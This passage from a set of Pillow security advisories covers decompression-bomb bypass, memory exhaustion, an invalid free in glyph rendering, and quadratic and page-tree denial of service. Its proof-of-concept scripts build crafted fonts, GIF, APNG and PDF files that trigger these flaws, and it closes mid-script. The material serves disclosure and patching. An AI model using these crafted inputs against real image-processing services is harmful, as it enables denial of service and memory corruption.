to unbounded allocation DoS BIT-pillow-2026-96637 / [CVE-2026-96637](https://nvd.nist.gov/vuln/detail/CVE-2026-96637) / [GHSA-g842-9rc4-69pw](https://github.com/advisories/GHSA-g842-9rc4-69pw) / PYSEC-2026-4338 <details> <summary>More information</summary> #### Details ##### Summary SpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny (<1KB) crafted SPIDER stack file to trigger a multi-gigabyte allocation on im.load(). ##### Affected versions All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84) ##### Root cause Image.open() runs Image._decompression_bomb_check(im.size) exactly once, in _open_core (src/PIL/Image.py:3668), right after the initial _open(). SPIDER stack files are multi-frame: SpiderImageFile.seek(frame) (SpiderImagePlugin.py:179-190) computes an attacker-influenced stkoffset and calls self._open() AGAIN directly (line 190) — NOT through Image.open(). _open() re-parses a fresh 27-float header at that offset and reassigns: self._size = int(h[12]), int(h[2]) # SpiderImagePlugin.py:131 straight from unvalidated header floats (isSpiderHeader only checks internal labrec*lenbyt==labbyt consistency, never bounds nsam/nrow). No bomb check runs on this new size. On the subsequent load(), ImageFile.load_prepare() (ImageFile.py:436-437) executes `self.im = Image.core.new(self.mode, self.size)` with the unchecked, attacker-chosen size. Mode is always "F" (4 bytes/pixel), so e.g. 40000x40000 = 6.4 GB. ##### Why this is a real bug Sibling multi-frame plugins DO re-check on their alternate paths: - GifImagePlugin.py:286 - Image._decompression_bomb_check(self._size) (in seek) - TiffImagePlugin.py:1309 - Image._decompression_bomb_check(self._tile_size) - IcnsImagePlugin.py:121/138, IcoImagePlugin.py:236/240 (sub-image selection) SpiderImagePlugin has NO bomb check anywhere. This is the same class of bug just fixed for GdImageFile (GHSA-phj9-mv4w-65pm) and the FontFile classes (GHSA-5x94/8v84/45hq): an allocation reached on a non-Image.open() path sized by an attacker header field, independent of the one-time pixel bomb check. ##### Reproduction Python 3.13, Pillow HEAD e7a7ea84 Attached: pillow_poc_spider_bomb.py Sets Image.MAX_IMAGE_PIXELS=5000, then: - CONTROL: Image.open(standalone 100x100 SPIDER) -> DecompressionBombWarning fires correctly. - BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -> the check is bypassed. Real-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB. ##### Suggested fix Call Image._decompression_bomb_check(self.size) at the end of SpiderImageFile._open() (or in seek() after _open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in _open(). Credit: Yazan Balawneh - CyStack Security Team [pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py) #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw](https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96637](https://nvd.nist.gov/vuln/detail/CVE-2026-96637) - [https://github.com/python-pillow/Pillow/pull/10076](https://github.com/python-pillow/Pillow/pull/10076) - [https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841](https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g842-9rc4-69pw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: MSP RLE decoder expands a tiny file into unbounded memory BIT-pillow-2026-112892 / [CVE-2026-112892](https://nvd.nist.gov/vuln/detail/CVE-2026-112892) / [GHSA-gg2r-wvfm-q9rx](https://github.com/advisories/GHSA-gg2r-wvfm-q9rx) <details> <summary>More information</summary> #### Details ##### Summary The MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels. ##### Details The MSP decoder writes each run into an unbounded `io.BytesIO` and can expand roughly 85x per run: - `src/PIL/MspImagePlugin.py:144-146` ##### Impact Memory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so `MAX_IMAGE_PIXELS` does not bound it. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-gg2r-wvfm-q9rx](https://github.com/python-pillow/Pillow/security/advisories/GHSA-gg2r-wvfm-q9rx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112892](https://nvd.nist.gov/vuln/detail/CVE-2026-112892) - [https://github.com/python-pillow/Pillow/commit/5dcb630b9798efd91929cb873d677aeee6ed0bb3](https://github.com/python-pillow/Pillow/commit/5dcb630b9798efd91929cb873d677aeee6ed0bb3) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-gg2r-wvfm-q9rx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Invalid free in FreeType glyph rendering when a stroker is active BIT-pillow-2026-112893 / [CVE-2026-112893](https://nvd.nist.gov/vuln/detail/CVE-2026-112893) / [GHSA-j4m9-6w36-pw47](https://github.com/advisories/GHSA-j4m9-6w36-pw47) <details> <summary>More information</summary> #### Details ##### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. ##### Details `glyph` is declared without a NULL initializer: - `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: - `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: - `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: - `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. ##### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) loca_long = tt["head"].indexToLocFormat tt.close() raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0] if loca_long: o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw) f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). ##### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47](https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112893](https://nvd.nist.gov/vuln/detail/CVE-2026-112893) - [https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13](https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id) BIT-pillow-2026-112894 / [CVE-2026-112894](https://nvd.nist.gov/vuln/detail/CVE-2026-112894) / [GHSA-jg86-v3jv-hrpm](https://github.com/advisories/GHSA-jg86-v3jv-hrpm) <details> <summary>More information</summary> #### Details ``` ============================================================================ Quadratic-time DoS in PDF save_all (PdfParser.next_object_id) Location: src/PIL/PdfParser.py:629 in next_object_id() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies. The cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N²). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay. The precondition is that the application calls `im.save(..., "PDF", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear. ##### Details Saving a multi-frame image as a multi-page PDF (`im.save(fp, "PDF", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far. A 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not): | frames | GIF size | `im.save(BytesIO(), "PDF", save_all=True)` | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | | Each doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly. The per-page id reservation loop runs before any page is written: ```python ##### src/PIL/PdfImagePlugin.py:247-259 (_save) for im in ims: im_number_of_pages = 1 if save_all: im_number_of_pages = getattr(im, "n_frames", 1) … for i in range(im_number_of_pages): image_refs.append(existing_pdf.next_object_id(0)) if im.mode == "P" and "transparency" in im.info: image_refs.append(existing_pdf.next_object_id(0)) page_refs.append(existing_pdf.next_object_id(0)) contents_refs.append(existing_pdf.next_object_id(0)) ``` `n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here: ```python ##### src/PIL/PdfParser.py:626-634 def next_object_id(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ##### src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existing_entries.keys()) - set(self.deleted_entries.keys()) ) | set(self.new_entries.keys()) ``` `_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then `max()` scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked. This reservation scheme was introduced in `6207b44ab1ff` ("issue #&#8203;2959: support appending to existing PDFs", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically. For contrast, `write_obj(ref, …)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed. ##### Impact The precondition is that the application saves the attacker's image as PDF with `save_all=True`; `Image.open()` and `load()` alone do not reach this code. An application that converts uploaded images to PDF this way — the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input — can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4½ minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in `acTL` drives the same quadratic loop, up to the 2³¹ cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and `save_all` saves of images with tens or hundreds of frames, are unaffected in practice. This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS `readline`), but on the PDF *writer* side, reached only through a save rather than on open, and driven by frame count rather than by line structure. ##### Reproducing `repro` is a single Python script. Run it with the Python that has Pillow installed (`./repro`). It uses under 100 MB of RAM and writes no files. **Input.** Two kinds of file are built in memory, each with 2 000 and 8 000 frames: - `gif(n)`: a valid animated GIF — a `GIF89a` header with a 1×1 logical screen and a 2-colour global palette, then `n` copies of one 15-byte frame (a 1×1 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has. - `apng(n)`: a 125-byte APNG — a 1×1 greyscale `IHDR`, an `acTL` chunk declaring `n` frames, one `fcTL`, one `IDAT` and `IEND`. Only the first frame exists; the other `n − 1` are merely declared. **Action.** Each file goes through what an upload-to-PDF converter would do: `Image.open(BytesIO(data))`, then `im.save(BytesIO(), "PDF", save_all=True)`, timed with `time.process_time()`. For the APNG the save raises `OSError` once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all `n` declared frames, so the exception is caught and the CPU time up to it is recorded. **Expected output** (stock build at this commit): ``` GIF frames= 2000 file= 30020 B save CPU= 1.03s result=ok GIF frames= 8000 file=120020 B save CPU= 11.68s result=ok GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x) APNG frames= 2000 file= 125 B save CPU= 0.65s result=OSError(Truncated File Read) APNG frames= 8000 file= 125 B save CPU= 10.48s result=OSError(Truncated File Read) APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x) BUG ``` A linear save would take about 4× as long for 4× the frames; here the GIF save grows ~11× and the APNG save ~16×, the latter with the file size fixed at 125 bytes. The script prints `BUG` when the save CPU for either format grows at least 8× for 4× the frames (twice the linear expectation), otherwise `OK`. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file. With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7×) and the APNG save 0.01 s / 0.03 s, and the script prints `OK`. ##### Suggested fix Make `next_object_id()` O(1) by tracking the highest object id ever stored in `XrefTable` instead of rebuilding the key set on every call. The attached patch does this in `src/PIL/PdfParser.py`: ```diff --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ class XrefTable: self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ class PdfParser: def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ``` `existing_entries` is only ever populated through `__setitem__` (from `read_xref_table` / `read_prev_trailer`), so the counter also covers ids read from an existing file in `append=True` mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (`del_root()` / `rewrite_pages()` in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id — the more conservative choice for an xref table, and the one the existing `TODO: support reuse of deleted objects` comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, `Tests/test_file_pdf.py` and `Tests/test_pdfparser.py` pass, and the reproducer prints `OK`. An alternative limited to the writer would be to reserve the `3 × number_of_pages` ids in `PdfImagePlugin._save()` arithmetically from a single `next_object_id()` call, but fixing the allocator also covers `write_obj(None, …)` callers. The patch does not address a separate, linear issue: `PdfImagePlugin._save()` still trusts `n_frames` before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG `acTL` up to 2³¹) still makes it loop `3 × n_frames` times before the first failing seek. Reserving ids per successfully seeked frame, or validating `n_frames` in such plugins, would close that. ##### The patch Track the highest object ID in XrefTable so PdfParser.next_object_id() is O(1) instead of rebuilding and scanning the key set Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..82ebfb867 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -133,12 +133,15 @@ class XrefTable: ) # object ID => (offset, generation) self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ -624,11 +627,8 @@ class PdfParser: self.orig_pages = self.pages[:] def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 1,791 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### PDF save_all is O(frames^2): PdfParser.next_object_id() does max(XrefTable.keys()), ##### and keys() rebuilds sets of every id reserved so far, 3 calls per frame. ##### (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely ##### *declares* N frames - ids are reserved for all N before the first seek fails. import io, struct, time, zlib from PIL import Image def gif(n): return (b"GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff" + b"\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00" * n + b"\x3b") def apng(n): def chunk(t, d): return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d)) return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 0, 0, 0, 0)) + chunk(b"acTL", struct.pack(">II", n, 0)) + chunk(b"fcTL", struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 1, 0, 0)) + chunk(b"IDAT", zlib.compress(b"\x00\x00")) + chunk(b"IEND", b"")) def save_pdf(data): im = Image.open(io.BytesIO(data)) t = time.process_time() try: im.save(io.BytesIO(), "PDF", save_all=True) res = "ok" except OSError as e: # APNG: frames don't exist, fails *after* the id loop res = f"OSError({e})" return time.process_time() - t, res bug = False for name, make in (("GIF", gif), ("APNG", apng)): t = {} for n in (2000, 8000): data = make(n) t[n], res = save_pdf(data) print(f"{name:4} frames={n:5} file={len(data):6} B save CPU={t[n]:6.2f}s result={res}") growth = t[8000] / t[2000] print(f"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)") if growth >= 8: bug = True print("BUG" if bug else "OK") ``` </details> --- #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-jg86-v3jv-hrpm](https://github.com/python-pillow/Pillow/security/advisories/GHSA-jg86-v3jv-hrpm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112894](https://nvd.nist.gov/vuln/detail/CVE-2026-112894) - [https://github.com/python-pillow/Pillow/commit/f6a852555f1a1bdff7781abf25f1a3b8bd6ce6cb](https://github.com/python-pillow/Pillow/commit/f6a852555f1a1bdff7781abf25f1a3b8bd6ce6cb) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jg86-v3jv-hrpm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion BIT-pillow-2026-96640 / [CVE-2026-96640](https://nvd.nist.gov/vuln/detail/CVE-2026-96640) / [GHSA-mrfp-p49p-3hf2](https://github.com/advisories/GHSA-mrfp-p49p-3hf2) <details> <summary>More information</summary> #### Details ##### Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree. An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references. In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds. This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion. ##### Details ##### Affected versions - Package: `Pillow` - Ecosystem: `pip` / PyPI - Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling - Runtime-tested affected release: `12.3.0` - Runtime-tested affected development version: `13.0.0.dev0` - Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054` - Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81` - Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD` - Likely affected range: `>= 5.1.0` - Patched versions: none known Evidence fact strings: - Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py `5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #&#8203;2959: support appending to existing PDFs`), which shipped in `5.1.0`. ##### Technical details The reachable path is: 1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path: ```python Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True) ``` 2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`: ```python is_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b") ``` 3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree: ```python self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] ``` 4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references: ```python def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages ``` 5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list. The missing invariant is: ```text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages. ``` The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees. ##### PoC Environment used for validation: - OS/runtime: Linux, Python `3.13.11` - Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Latest release tested: Pillow `12.3.0` - The proof uses only synthetic in-memory PDFs and does not contact the network. Save this as `poc_pillow_pdf_page_tree_dag.py`: ```python #!/usr/bin/env python3 from __future__ import annotations import io import json import sys import time from PIL import Image, PdfParser import PIL def make_page_tree_pdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError("fanout must be 1 or 2") objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"] for object_id in range(2, depth + 3): next_id = object_id + 1 kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout)) parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode() objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>") objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii")) result = bytearray(b"%PDF-1.4\n") offsets = [0] for object_id, value in enumerate(objects, start=1): offsets.append(len(result)) result.extend(f"{object_id} 0 obj\n".encode("ascii")) result.extend(value) result.extend(b"\nendobj\n") xref_offset = len(result) result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii")) result.extend(b"0000000000 65535 f \n") for offset in offsets[1:]: result.extend(f"{offset:010d} 00000 n \n".encode("ascii")) result.extend( f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n" f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii") ) return bytes(result) def run_case(depth: int, fanout: int) -> dict[str, object]: payload = make_page_tree_pdf(depth, fanout) expected_refs = fanout ** (depth + 1) start = time.monotonic() with PdfParser.PdfParser(buf=payload) as pdf: observed_refs = len(pdf.pages) distinct_refs = len(set(pdf.pages)) parse_seconds = 